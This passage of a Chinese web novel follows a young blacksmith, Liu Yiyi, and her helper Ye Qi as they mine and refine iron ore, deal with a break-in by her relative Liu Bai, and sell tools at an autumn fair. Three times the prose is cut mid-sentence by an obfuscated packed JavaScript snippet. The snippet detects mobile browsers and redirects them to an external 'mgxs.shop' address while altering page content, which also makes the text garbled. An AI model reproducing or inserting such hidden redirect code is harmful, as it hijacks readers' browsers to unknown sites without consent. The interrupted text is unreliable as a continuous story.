“挖几块试试。”他从筐里抽出鹤嘴锄,“你来指位置。” 柳依依拄着拐杖走到岩壁前,选了一块看起来矿脉最厚的区域,用拐杖尖在上面画了个圈。 “从这里往下挖,大约半尺深就能挖到大块的。”她说,“小心点,别挖太深,万一再塌方——” 话没说完,叶七一锄头砸了下去。 “咚”的一声闷响,岩壁震动了一下,一大片红褐色的碎块哗啦啦地掉下来,扬起一片红色的粉尘。柳依依被呛得连咳了好几声,赶紧往后退了几步。 叶七又砸了两锄头,凿下来几块拳头大的矿石,弯腰捡起来看了看——块状的,断面致密,在灯光下闪着金属光泽。他把矿石扔进筐里,用手背擦了擦额头的汗。 “再来几锄头?”叶七问。 “够了够了。”柳依依走过去,看了看被凿过的岩壁,那里的矿脉已经被挖出了一个半尺深的凹坑,边缘处可以看到新鲜的矿石断面,“今晚先这样,回去试试能不能炼出来。能炼出来,过几天再来多挖。” 叶七收起鹤嘴锄,把散落在地上的碎矿石捡干净,然后弯腰背起筐。这一筐比第一筐还重,麻绳勒进他的肩膀,他咬了一下牙,稳稳地站了起来。 随后,叶七把筐里的矿石倒进车厢,和之前那些码在一起。车厢里的矿石已经堆满了。 叶七从松树上解下白雪缰绳,用柳依依带的那一大块旧布料,把整个车厢盖得严严实实,又在上面用绳子绑了几圈,防止布料被风吹跑。 他从车厢里拿出水袋递给柳依依,柳依依爬上他身边的空位,大口大口喝着水,长长地呼出一口气。折腾了大半夜,她的伤腿又胀又酸,但她咬着牙没吭声。 好在今晚的收获很丰厚,他们收集的铁矿,完全够打造秋收集要出售的铁器了。 二人原路返回,柳依依打了个哈欠,准备回去就睡个昏天黑地。等到叶七驾驶着驴车回到铁匠铺后,柳依依提着风灯,随意往门口一瞥,顿时睡意全无。 那张被夹在门缝里的小纸片,已经掉在地上了。 15. 第 15 章 那张纸片是柳依依的小心思。 她走之前记得清清楚楚,纸条被屋子的门紧紧夹在了膝盖的高度。现在它落在了地面上,证明她和叶七离开时,这扇门被别人打开过。 不排除闯入者发觉后,在离开时把纸片位置复原的可能。但这张纸片很小,况且已经入夜了,光线昏暗,还是很难被人察觉到的。 “怎么了?”叶七见她站在门口不动,声音立刻沉了下来。 “有人进过我们铺子。”柳依依压低声音,弯腰捡起了那张纸片。“人可能听到驴车的动静从后窗跑了,但也可能还在里面,千万小心!” 叶七把缰绳捆在马棚内的柱子上,然后从车厢里拿出鹤嘴锄和铲子,他把铲子交给柳依依,用眼神示意对方拿来防身。“你现在脚不方便,我先进去看看。” “好。”柳依依点点头,她把屋门的钥匙交给叶七,自己则握着铲子慢慢走进马棚,藏进了深处的阴影里。 她的脚受伤了,倘若屋子里真的有歹徒,自己也不方便战斗,要是出意外了,叶七还得分神来照看自己。 马棚里堆着干草,空气中弥漫着草料和驴粪的气味。柳依依把背脊紧紧贴在土墙上,铲子被她横握在胸前,手心已经出了一层薄汗。 白雪似乎感受到了她的紧张,鼻子里喷出两股热气,凑过来想啃她的头发。柳依依腾出一只手,轻轻拍了拍驴脖子,示意它安静。 叶七提着鹤嘴锄,悄无声息地向屋门靠近。 他脚步放得很轻,从院子中穿过几乎没有发出任何声响。叶七先在门口停了一会儿,似乎在听屋里面的动静,过了会儿他才用钥匙打开屋门,闪身进去。 柳依依看到每间屋子的窗户依次亮了起来,是叶七,他把屋子里所有的油灯都点燃了。 隔着窗纸,柳依依看到叶七的身影在各个房间走动着,影子在窗纸上忽大忽小。他从东屋走到西屋,又从西屋走回堂屋 她还隐约听到了叶七打开柜子的声音,他似乎在屋里进行地毯式搜查。 大约过了半盏茶的工夫,叶七从屋里走出来,他手里的鹤嘴锄已经放下了。 “进来吧,人走了。”他的声音恢复了正常音量,“屋里没人。我已经检查了所有可能藏人的地方。” 柳依依拄着拐杖,离开马棚,走进屋子里。 她第一眼就看到了屋里很多被翻动过的痕迹。 堂屋原本闭合的抽屉被人拉开过,此刻没有完全合拢。木桌上摆的针线盒被翻得乱七八糟,几枚绣花针滚到了地上。抽屉里的账本被抽出来扔在桌面,翻到了中间某一页,页角被压出了一个折痕。 她拄着拐杖走进自己的卧室,打开衣柜,里面原本整齐叠放的衣服,如今也被乱糟糟地揉在一起。几件冬天盖的被褥被从最底层拽了出来,胡乱地堆在柜门边。衣柜顶上那个放旧鞋的纸盒子也被翻过了,鞋垫散了一地。 柳依依弯腰捡起一只鞋垫,拍了拍灰,此时的她心里反而冷静了下来。 翻得这么仔细,连鞋盒子都不放过,说明来人不是随便翻翻,而是铁了心要把每个角落都搜一遍。 “厨房、柴房,就连铁匠铺都被人翻过了。”叶七跟在她身后,声音沉沉的,“但什么都没拿走。” “没拿东西?”柳依依环顾了一圈,有点诧异,她原本还以为家里遭贼了,或者是刘行长又派了刺客潜入她家里。 “没有。”叶七指了指梳妆台上那个没合上的木匣子,“你荷包里的钱甚至都在。厨房的米缸也没动,柴房的工具一把都没丢。” 入室盗窃,却什么都不拿,这不合常理。 铁匠铺里最值钱的东西不过就是那些铜板和现成的铁器,但这些都好好地放在原处,动都没动。 柳依依蹲下来,用指尖捻了捻地面上的脚印。脚印很浅,但能看出来是一个人留下的,鞋底的花纹是粗麻绳编的那种,很多平民都穿这种鞋,实在没有什么辨识度。 柳依依想到了什么,迅速来到厨房,在看到墙上挂着的那把菜刀后,才松了口气。 “不是普通的贼。贼偷东西是为了钱财,这个人翻得很仔细,更像是在找我家什么特定的东西。” “来,看这里。”叶七站在厨房的窗前,对她招了招手。 叶七指了指窗框的缝隙道:“有点磨损的痕迹,应该是用铁薄片从窗框的缝隙里伸进来,然后挑开了窗子的插销。然后在屋子里翻了一遍后,从大门离开了。” 柳依依靠近窗框,借着油灯的光看过去。木质的窗框上确实有一道新鲜的划痕,木刺翘了起来,露出浅黄色的内芯。 划痕的位置不高不低,刚好是手从外面伸进来最省力的角度。她伸手比划了一下,来人的身高大概比她高一些。 “柳白。”柳依依咬着牙说出了这个名字。 “柳白?你那个远房亲戚?”叶七反问。 “除了他,我想不出第二个人。”柳依依瞥了一眼菜刀,然后坐到了厨房的凳子上,“前段时间他来闹过,想要我家铺子的地契。他当时被我一顿乱揍给打跑了,但显然没死心。” 叶七的目光暗了暗:“所以,他今晚是来找地契的。” “对。”柳依依指着堂屋被翻得乱七八糟的抽屉和柜子。 “普通的贼进来,不会翻得这么仔细——他们会把值钱的东西一扫而空然后赶紧跑路。但这个人翻了这么久,连铜板都没拿,说明他的目标只有一个。” 她顿了顿,冷笑了一声:“而且你注意到没有,堂屋的抽屉被拉开了,但最下面那个放针线的抽屉只拉了一半,说明他拉开之后发现全是针线就塞回去了。衣柜里的衣服被翻得乱,但冬天那几件厚棉袄被专门掏了出来,恐怕他是想看看地契有没有缝在棉袄夹层里。” 叶七顺着她的目光看了一眼衣柜的方向,点了点头:“翻得有章法,不是胡乱搜,是知道要找什么的人。你家的地契,藏好了吗?” 柳依依嘴角上翘,话语中带着一点得意的神色:“放心,他翻不到的。” 她没有说藏在哪里,叶七也没有问。 柳依依拄着拐杖走回堂屋,开始收拾被翻乱的东西。 她把散落的针线一根一根捡回来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498675|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把衣裳一件一件拿出来重新叠好再放回衣柜,把梳妆台上的脂粉盒子重新摆整齐。 叠衣裳的时候,柳依依发现有一件原主母亲留下的旧褂子被揉得皱巴巴的,袖口的盘扣都扯松了一颗。她把褂子抖开,凑到灯下看了看,幸好没有扯破。 叶七也帮着收拾,他动作利索,三两下就把柴房和厨房恢复了原样。 “他没偷走任何东西,我们也没有证据表明是他干的,穷乡僻壤的,恐怕报官起不了太大作用。”柳依依一边叠衣裳一边摇头说。 叶七一边听着,一边默默把倒地的扫帚扶回墙角。 柳依依叹了口气,把最后一件衣裳放回衣柜,关上了柜门。“这人真是癞蛤蟆爬脚背,不咬人但膈应人,我已经忍不下去了,这要是再忍下去真的成乌龟了!” 叶七站在她身后,他的目光扫过被重新归置整齐的屋子,最后落在柳依依身上。 “他老是来这么折腾你?”他问道,声音比刚才低了几分。 柳依依愣了一下,随即点头:“自从我父母去世后……他就盯上了我家铺子。” 她顿了顿,语气里透出一股压了很久的火气。“一开始是三天两头来‘串门’,东看看西看看,问这问那。后来就直接开口要地契,说要‘借’去抵押做生意,赚了钱分我一半。我说不借,他就翻脸,骂我一个小丫头片子守着这么大个铺子有什么用,不如让给他。” 她越说越气,忍不住锤了一下桌面。“最过分的还是上次,竟然敢推我,气得我直接一盆开水泼了过去,又拿扫把抽得他上蹿下跳,可还是不解气。” 叶七听完,沉默了几息,慢慢说了一句:“那种人,你越是退让,他越觉得你好欺负。” “我知道。”柳依依冷笑一声,拄着拐杖走到窗前,看着院子里那辆装得满满当当的驴车。月光洒在旧布料上,把车厢里的矿石轮廓照得隐隐约约。“所以我可不想再退了。” “你打算怎么做?”叶七问。 柳依依低下头,看着自己缠着绷带的脚踝,又抬起头看了看远处黑黢黢的山影。 “他翻我的屋子,是想找地契。”柳依依的声音很平静,但每个字都带着一股咬牙的劲儿。 “那我就让他知道,就算他把整间铺子翻个底朝天,也找不着。顺便再让他知道,这间铺子不是他想来就来、想走就走的地方。” 叶七侧头看了她一眼。风灯的光映在他眼睛里,像两颗被点燃的星子。“你想让他来一次,长一次教训?” “对。”柳依依转过身,正对着叶七,“但不是我去打他。我这腿还没好利索,而且我不想脏了自己的手。” “那你想让谁动手?”叶七掌心不自觉地张开又重新握紧。虽然他话里带着几份漫不经心,但是却认真地望着柳依依的双目。 柳依依没有直接回答,而是拄着拐杖走到了门口,拉开了屋门。 夜风从外面灌进来,吹得桌上的油灯晃了两晃。她站在门槛上,目光越过院子,直直地落在那辆驴车上。 “让它们动手。”柳依依指着满当当的驴车说。 16. 第 16 章 柳白一整晚没合上眼。 他缩在自家床上,翻来覆去都睡不着。 这么多天,他一直在晚上偷看柳依依家的动静,蹲了这么多天都没找到机会。 直到昨晚,好不容易看到她和一个男人驾着驴车出门了,他本来想着趁机把地契,和那张五两银子的赔偿借条一并偷来。 结果他翻遍了整个屋子,抽屉、衣柜、鞋盒子、枕头底下,就连水井绑着的水桶都被他拉上来检查了一番,别说地契了,连那张借条都没见着影子。 “柳依依这死丫头,到底把地契藏哪儿了?”柳白盯着头顶房梁,恨得直牙痒痒。 上次他被柳依依用扫帚抽的满手臂都是淤青,到现在都没好,手和头还在隐隐作痛。 柳白脑子里划过那天柳依依端着开水朝自己泼来的画面,她眼里的狠劲到现在回想起来,都让人直发怵。 自己一时没忍住犯了点小错误,在外面赌博一时上头,欠了不少银子,如果拿不到这家铁匠铺的地契去抵押,自己连利息都快还不起了。 那些催债的人早就上门讨过债了,他答应一个月内还清,才把他们打发走。 “不行,地契一定还在她手上。如果屋子里没有,难道柳依依一直带在身上?”柳白翻了个身,把身上的破棉被裹紧,“明天再想办法,我就不信找不着。” 在焦急当中,柳白勉强陷入沉眠。 他迷迷糊糊刚睡着,就听到了门被敲响的声音。 柳白被惊醒后,还没来得及骂人,就听到一个熟悉的声音在院门口响起:“柳白!柳白!在不在?” 是柳依依。 柳白打了一个激灵,迅速坐起来,手忙脚乱地穿衣裳,他扒着窗缝往外看了一眼,只见柳依依正一脸不耐烦地站在自家门外。 她怎么来了? 柳白心里涌现出一股不好的预感。莫不是昨夜的事情被她发现是自己做的了? 他慌了一下,但寻思自己昨晚应该没留下什么证据才对,只要没有证据,柳依依就拿他没办法。 这么一想,他才挤出一脸假笑,慢悠悠地去开门,“依依啊,这大早上的,你怎么……” “少给我套近乎。” 柳依依翻了个白眼,然后从怀里掏出一张纸,把它抖开后,开门见山道:“你之前答应给我五两银子的赔偿,都已经过去好几天了,今天该还了。” 柳白的笑脸僵住了。 “依依,你看你这孩子……”柳白搓了搓手,眼珠子四处转着,“我这阵子手头实在紧,你再宽限我几天,等秋收集……” “哪儿那么多废话。”柳依依把欠条往前一送,指头差点戳到他鼻子上,“你别忘了,你写借条的那天,镇上德高望重的老人都见证着呢!” 柳白咽了口唾沫。 他下意识看了眼柳依依身后的叶七。 那男人面无表情,但不知怎的,看得他后背发凉,冷汗直冒,他哪怕面对那些赌场的老板,也从来没有过这种感觉。 “依依……这位是……”柳白尝试转移话题。 “我找的打手!”柳依依甩了甩手上的借条,怒道:“要是你不给钱,我就和他一起,把你往死里打!” 柳白:“……” 那男人生得高壮,一看就是练家子,见状,柳白的脸彻底白了。 “姑奶奶!好!我给,我给行了吧!”柳白咬了咬牙,转身进屋,从床底下的坛子里摸出一个布包,他打开后数了数,银子只有四两出头。 踌躇了片刻后,柳白又从枕头底下摸出几钱碎银子,勉强凑到了四两九。 他拿着银子走出来,犹豫着开口:“依依,你看,我这实在不够……” “不够?”柳依依伸手抢过布包,直接眯着眼数了数,“四两九,还差一百个铜板!” “就这点钱……咱们亲戚这么多年了……”柳白讪笑着。 “一百个铜板也是钱!”柳依依嗤笑一声,把银子收好,欠条却还捏在手里,“欠条我先留着,什么时候把两钱补齐了,什么时候再还你。” 柳白的脸抽搐了一下,但最终还是没敢说什么,只好眼睁睁看着柳依依把欠条揣回怀里,扬长而去。 等到柳依依和男人的身影消失在街角,柳白站在原地狠狠啐了一口。“死丫头,早晚让你知道老子的厉害。” 他转身回屋,一脚踢翻了门口的破陶罐,碎瓷片溅了一地。 “回去吧!”柳依依哼着小曲,解开布包把银子倒在掌心,银子在阳光下闪着光,白花花的有些晃眼睛。“钱拿到了就好。” 叶七点点头。 回到铁匠铺,柳依依把银子放好,然后拄着拐杖走到后院。驴车上的矿石还盖着油布,漏出来的部分在阳光下泛着暗沉的光。 “接下来干什么?”叶七走过来问。 “炼铁。”柳依依撸起袖子,眼神认真地说:“我们要把矿土内的铁提取出来。” “这里面真的有铁?”叶七伸手从驴车的车厢里捻了点矿土,挑眉说:“摸上去和寻常的泥巴没什么区别,颜色倒是偏红一点。” “当然有,你来帮我,照着我的方法来。”柳依依先拿铲子从车厢上把一部分褐铁矿卸了下来,然后拿了个板凳坐在旁边。 她用锤子把大块矿石敲成碎块,然后拿起一个竹筛子,把碎矿倒进去,双手端着筛子上下颠簸。 细碎的粉末从筛眼里漏下去,落在铺好的旧布上,留在筛子里的颗粒块头偏大,她便再次捶打,直到这些褐铁矿全部敲成了碎末。 “为何要把它们敲成碎末?”叶七虽然不解,但还是照做了,也把他面前的矿土慢慢敲打成末状。 “筛选。”柳依依耐心解释,她从铺子里拿出一块巨大的磁石来。“这种矿石铁含量不均匀,要是直接入炉提炼,得到的铁杂质太多,品质很差,所以我们要先用磁石过滤一遍。” “磁石?”叶七从柳依依手中接过那块乌黑色的石头,在手里掂了掂,石头表面光滑,隐约可见金属光泽,握在手心里沉甸甸的。 “对,磁石。”柳依依又从铺子里翻出一块干净的旧布,铺在面前的空地上,“你小时候没玩过吸铁石吗?把磁石靠近铁屑,铁屑就会被吸过来。” 叶七摇了摇头:“小时候没玩过这个。” “那你现在玩。”柳依依把磁石递给他,指了指地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498676|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那堆褐红色的矿粉,“你把磁石包上一层薄布,然后在矿粉上面慢慢移动。能被吸起来的,就是含铁量高的部分。剩下的吸不起来的,大多是泥巴和杂质,不能炼铁。” 叶七半信半疑地照做了。 他用布把磁石裹了一层,然后握着磁石靠近矿粉堆,只听“唰”的一声,细碎的矿粉像被施了法术一样,纷纷跳起来,紧紧贴在了布面上。 男人脸上露出难得一见的惊讶表情。 “竟然真吸上来了。”他把磁石翻过来,布面上粘了一层厚厚的红黑色粉末。 “那是自然。”柳依依笑着指着被吸上来的粉末说,“磁石能吸铁,拿来过滤再合适不过了。” 叶七点了点头,他慢慢把磁石上的矿粉刮下来,放进一只干净的陶盆里,然后重复刚才的动作,一次一次地在矿粉堆上移动磁石,直到只剩下那些几乎吸不起来的矿渣。 “差不多了。”柳依依用手抓了一把富矿粉,在指间搓了搓,她感受着粉末细腻均匀的手感,说道:“这一步叫磁选,能把原料的质量提高三层。原料的品相高了,炼出来的铁才干净。” 叶七看着那堆被筛选出来的富矿粉,又看了看旁边那堆被丢弃的尾矿渣,若有所思地问:“那些剩下的矿渣,真的一点用都没有?” “也不能说完全没用。”柳依依拍了拍手上的灰,“有些铁匠会把尾矿渣和黏土混在一起,用来补炉子、糊炉膛,能隔热耐火。咱们也可以留着,以后补炉用,直接丢了太可惜了。” “好。”叶七自觉弯腰,他把尾矿渣拢到一起,装进一只破筐里,然后搬到墙角堆好。 “现在我们要进行第二步!”柳依依指着院子中间那口大木槽,说道:“把富矿粉倒进去,加水搅拌,我没你高,这一步你来。” 于是叶七把陶盆里的富矿粉全部倒进木槽,柳依依帮他从井里提了四桶水倒进去。 “搅,使劲搅。”柳依依把手里的拐杖交给叶七,“让泥浆转起来,轻的会浮在上面,重的会沉在底下。” 叶七挽起袖子,接过拐杖,开始搅动。褐红色的水花溅了他一身,粗布短褐上立刻多了几片深色的水渍。他也不在意,只是闷头行动着。 搅了大约一盏茶的工夫,柳依依让他停下来。泥浆慢慢平静下来,表面浮着一层浅黄色的细泥,像奶油一样漂在水面上。 “把上面这层撇掉。”柳依依递给他一只竹篾编的漏勺。 叶七接过漏勺,小心翼翼地把浮在表面的细泥撇出去。那层细泥很轻,一碰到漏勺就散开了,他撇了好几遍才撇干净。 撇掉浮泥之后,木槽底部沉淀了一层厚实的黑褐色矿砂。柳依依伸手捞了一把,矿砂在掌心里沉甸甸的,颗粒均匀,颜色纯正,和刚才的矿粉完全不是一个档次。 “好了。”她把矿砂捧到叶七面前,让他看,“这才是真正能炼铁的好东西。你摸,比筛选之前的品质好多了。” 叶七捏了一撮矿砂在指尖搓了搓,确实比之前重了不少,手感也粗糙一些,像细沙一样,每一粒都带着有点膈手的棱角。 “现在,我们就可以给柳白炼制一个大礼物了!”柳依依坏笑着点燃锻造炉。 17. 第 17 章 接下来的几天,铁匠铺都处于热火朝天的忙碌中。 柳依依和叶七分批次把挖的褐铁矿全部提纯成了精铁料,最后获得的铁料比她想象中的还要多,堆满了铺子里的库房。 原料够多就好办事了。 柳依依征求了叶七的建议,非常贴心地先帮柳白锻造好送他的礼物,然后将它妥善安置好。即使这样,剩下的材料用来打造要贩卖的商品也绰绰有余了。 考虑到秋收集那天客流量大、市场需求多样,柳依依最后决定多打造点不一样的铁器,同时满足不同百姓的需求。 包括寻常百姓能用到的剪刀、菜刀、柴刀,还有镰刀、锄头、铁锹、耙在内的农具,以及木匠使用的手斧、凿子、刨刃、钉子,甚至还锻造了不少瓦匠用的瓦刀。 现在家里宽裕了一些,至于从柳白那里讨回来的银子,柳依依花了一部分,骑着白雪去集市拉了些石砖回来,准备用来翻修自己家的围墙。 这几天她的脚伤几乎痊愈了,那根拐杖她没舍得扔,放在了堂屋的墙角。 刘行长已经带着人浩浩荡荡地离开了,他们还要去下一个镇子推广生意。 小镇却越来越热闹了,镇长每天都带着人在镇子里布置着,挂灯笼、扎彩绸、搭戏台子。小镇里到处堆放了麦草编成的草垛,整个小镇都浸在浓郁的麦香里,就连柳依依铺子门口都都挂上了红彤彤的苹果状灯笼。 街上的人一天比一天多,不光有本镇的,还有从附近村子赶来的,秋收集还没正式开始,已经有不少人提前来占位置、看热闹了,镇子里的客栈这几天都挤满了人。 秋收集当天,柳依依天没亮就醒了。她穿了一件干净的粗布衣裳,把头发扎得利利索索,来到院子里开始提前准备。 她给自家驴子套好车,然后给白雪好好收拾了一番,鬃毛梳得整整齐齐,头上顶了个粉色的蝴蝶结,尾巴上还系了一根红布条。 “你这是让驴相亲去?”叶七端了一碗肉粥出来,看了一眼那根红布条,语气平淡,嘴角却抽了一下。“早膳。” “你懂什么,这叫仪式感,图个吉利。”柳依依大笑一声,接过肉粥,粥的温度刚好好,压根不需要勺子,就这么端着大口往肚子里咽。 肉是柳依依带着他昨日去集市一起买的,叶七把它们切成稀碎的肉末煮在粥里,混着点雨后才采的菌丁,鲜香无比。 “走,挣钱去。”饭后,柳依依把碗收好,拍了拍白雪的屁股,大笑一声,和叶七一起坐上驴车。 秋收集的摊位是镇长提前留好的,在镇子主街的中段,位置不偏不倚,来往的人都能看到。 柳依依到的时候,天刚蒙蒙亮,街上已经有不少摊贩在支棚子、摆货物了。卖布的、卖粮的、卖糖人的、卖膏药的,五花八门,什么都有。 镇长正站在街口呢,看到柳依依的驴车过来,笑着迎了上来:“依依来啦?摊位给你留着呢,最中间那个,保证人流量大。” “谢谢镇长。”柳依依欢欢喜喜地从车上跳下来,然后和叶七一起把铁器从车厢里搬出来,整整齐齐地摆放在摊位上的木板上面。 锄头放一排,镰刀摆一排,菜刀和剪刀各一排,小件的凿子、刨刃、铁钉装在木盒子里摆在最前面。 柳依依还在摊位前面挂了一块木牌,当场用木炭在上面写下几个大字:“柳家铁匠铺,祖传手艺,价廉物美。” 柳依依得意地扬了扬下巴:“怎么样,字还行吧?” 叶七看了一眼上面歪歪扭扭的狰狞字迹,沉默了一会儿才说:“挺好,很契合秋收的氛围,写得像是……被压弯的麦穗。” 柳依依满意了,她把摊位上的铁器又整理了一遍,把每一把刀都调整到最方便客人拿起来看的角度,随后她深呼吸一口气,有点紧张地搓了搓手。 “依依你家锄头这么好,放心吧,今天肯定能卖出去的!”镇长看出了她的紧张,笑着在一旁宽慰道。 天光大亮之后,整个镇子像是被人从睡梦中摇醒了。 四面八方的人涌进主街,摩肩接踵,人声鼎沸。卖糖葫芦的在吆喝,卖馄饨的在敲锅,杂耍班子在街口敲锣打鼓,整个镇子热闹得像一锅煮沸了的粥。 但是,柳依依的摊位前一个人都没有。 有人从摊位前面走过,会扭头看一眼那些各异的铁器,然后脚步不停地走了。有人会停下来多看两眼,但看完后摇摇头又走了。偶尔有人蹲下来拿起一把锄头掂了掂,最后却放回去,还是走了。 过了一会儿,来了一名农民老伯,他指着镰刀,问柳依依:“这镰刀一把多少钱?” “六十铜板。”柳依依伸手比画了一个“六”的手势。 农民皱了皱眉,转身离开。 就这么一个时辰过去了,柳依依竟然连一把也没卖出去。 “一把都没卖出去?”镇长实在看不下去了,凑了过来,声音里带着一股不敢相信的意味,“依依,咱们整个上午,一把都没卖出去?怎么会这样?” “嗯。”柳依依倒也不急,伸手把身后白雪头上的蝴蝶结扶正。 这笨驴子不知道是不是把蝴蝶结当成了什么吃食,一个劲地晃头,想把它抖下来咬。 “你就嗯一声?”镇长哭笑不得,话里都有些急了,“隔壁卖馄饨的都卖了三十碗了!对面卖布的扯了十几尺了!就连那个卖糖葫芦的老头都卖出去两串了!咱们一件铁器都没卖出去!” 柳依依看了看隔壁摊位正在大口吃馄饨的客人,又看了看对面正在比划布料的大婶,最后把目光收回来,落回镇长脸上。 “我们急也没用。”柳依依无奈道,“我刚刚也想过这个问题了。” “什么?”镇长一愣。柳依依家的铁器有多好用,他再清楚不过了,怎么会卖不出去呢? 柳依依抬起头,看了看街上的人群。“锄头这种工具,大部分铁匠造的品质都差不多,随便买一把,用个把月是完全没问题的,又不是日日都要的吃食,大家买的欲望不高。” “虽然现在是秋收时节,但是能来秋收集的,肯定是已经忙完农活的人,都已经忙完了,自然不会买农具了。” 镇长被这句话噎了一下,但不得不承认,柳依依说得有道理。 “还有一个原因。”叶七忽然开口。 “什么?” 叶七抬了抬下巴,指向街对面。柳依依顺着他的目光看过去,街对面也有一个铁器摊子。 摊位搭着大棚,上面堆了满满当当的锄头、镰刀、菜刀,比她的规模大了不止一倍。摊主是个三十来岁的胖男人,正站在摊位前面吆喝,身后还站着两个帮忙的伙计。 “那是谁?”柳依依皱起了眉头。 “咦?这好像是隔壁镇的李记铁匠铺。”镇长的身影挤进人群说,“我去帮你们打听打听。” 过了会儿,镇长蹑手蹑脚地回来了,对柳依依说:“他们铺子在隔壁镇开了十几年了,专做农具,价钱比咱们低,一把锄头只要五十铜板。” 难怪。 柳依依恍然大悟。 秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498677|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收刚忙完的农民,可能也会面临农具破损需要换新的问题,按理来说不该一把都卖不出去的,原来是有了竞争对手。 人家价格比她低一点,对大多数老百姓来说,大多数铁器没什么区别,如果质量差不多,自然要挑价格实惠的买。 而且从规模上来看,人家的摊位比她大一倍,铁器堆得跟山似的,看着就让人觉着“货多实在”。 白雪伸着舌头,又想去咬自己头上的粉色蝴蝶结。 “不许咬!”柳依依假装严厉呵斥道,白雪委屈巴巴地哼哼唧唧,然后转头就去骚扰叶七了,去咬他的衣角。 叶七正靠在摊位后面的柱子上,双臂抱胸,表情依旧平静,只是有些嫌弃地往旁边挪了挪。 “依依……”镇长迟疑了一下,问道:“要不我们降价一点,降到四十五铜板?然后再吆喝一下?” “不行。”柳依依否决了这个方案,“我们要是降价,对面也降价呢?这一来一回,大家生意都不用做了,连所有铁匠铺以后卖出的价钱都会受到影响,这么做会砸了所有人的生意。” 一旁的叶七勾起嘴角。 “我的农具卖不出去,无非就是大家对它不了解,不知道它的品质而已,所以优先选择了便宜的对家……”柳依依摸了摸下巴。 “我们要做的不是乱降价,而是找一个法子,能让大家能认识到我们家锄头的好。” 说到这里,柳依依瞥了叶七一眼,对方正闭目养神,自己说的话也不知道对方听到了没有。 这时,白雪又来咬他的裤腿。叶七竟然破天荒地默许了,没有像往常一样满脸嫌弃地走开或者推开它,一副今天心情好就不和牲口计较了的样子。 柳依依:? 是我疯了还是这个世界疯了? “依依!”热情的女声打断了柳依依的思绪。 之前来她家买过锄头的李大婶笑着走来,“生意怎么样?今天小镇的人可多了,我脚趾头被踩了好几次!” “一把都没卖出去。”柳依依哭笑不得。 “啊?”李大婶瞪大双眼。“这么好的东西卖不出去?” 好在柳依依已经有了法子。“李婶,镇头的那些婶子们,现在还聚在那里晒太阳唠嗑嘛?” 李大婶虽然不解二者有何关联,但见柳依依没有因为生意不好而懊恼,对这姑娘又高看了几分。“有!人比以往更多了呢!戏台班子也在那边,大家都在那里等着看戏呢!” 柳依依在李大婶耳边低声说了几句,李大婶眼睛一亮,拍了拍胸膛道:“这事包在你大婶身上!放心!” 话音刚落,她就急匆匆地离开了。 “怎么了”叶七突然睁眼道。 “我想了个法子,让李大婶帮我们揽客。”柳依依实话实说,然后她看向镇长:“镇长,你家从田里挖出来的荆茅,还在吗?如果还没丢的话,能不能帮依依带过来?要多一些。” 镇长虽然不知道柳依依要干什么,但见她一脸自信的样子,还是点头答应:“都留着没扔呢,本来打算等它们枯萎了拿来堆肥,好!我这就帮你拿。” 说完镇长也转身离开了。 “法子?”叶七垂眸看着蹲在摊子面前的柳依依。 “我的法子,可是这天下老百姓知道后,都会忍不住凑热闹的!” 柳依依从旁边搬来一个大石头,用袖子把它擦干净,然后坐了上去。 “什么?” “打小三!”柳依依骄傲地仰起头。 叶七:? 18. 第 18 章 依云镇镇口的老槐树下,历来是小镇消息最灵通的地方。 平日里,镇子里的婶子大娘们就喜欢聚在这里,一边纳鞋底、剥豆子、晒太阳,一边东家长西家短地唠嗑。谁家媳妇生了,谁家母鸡不下蛋了,哪两户人家因为偷菜吵起来了……这些事情不出半天,就会被传得全镇子的人都知道了。 今天是秋收集,这天的镇口,只会比往日更加热闹。 戏台班子的成员们浓妆艳抹,站在街头敲锣打鼓,戏还没开场,那些婶子们一个个坐在台下,三三两两地聚在一起。 李大婶带着一包瓜子,熟练地挤进人群,和几个相熟的婶子们打过招呼,然后在人群最中央坐了下来。 “哎哎,你们听说了吗?”李大婶把瓜子分给了附近的人,压低声音,眉飞色舞地说:“隔壁镇出了个事!” “又出啥事了?”旁边的一位身穿黑褂子的大娘立刻放下手里的针线活,凑了过来,一听到有八卦,那双眼睛比天上的太阳还耀眼。 “隔壁镇子的事,王家,你们知道不?”李大婶卖了个关子,磕了一颗瓜子,慢悠悠地嚼了两口。 “不认识……”四周的婶婶们摇头。 “什么事呀?快说快说!” “哎呀!不认识也没关系!你们听我说,不就认识了?!”李大婶嬉笑着,把瓜子壳吐掉,一拍大腿:“王家的老王呀,正值天命。他还有个儿子,才二十出头,我就叫他小王吧!” 李大婶本来就是村里出了名的大嘴,见她又有奇闻趣事要讲,大家忍不住围了过来。 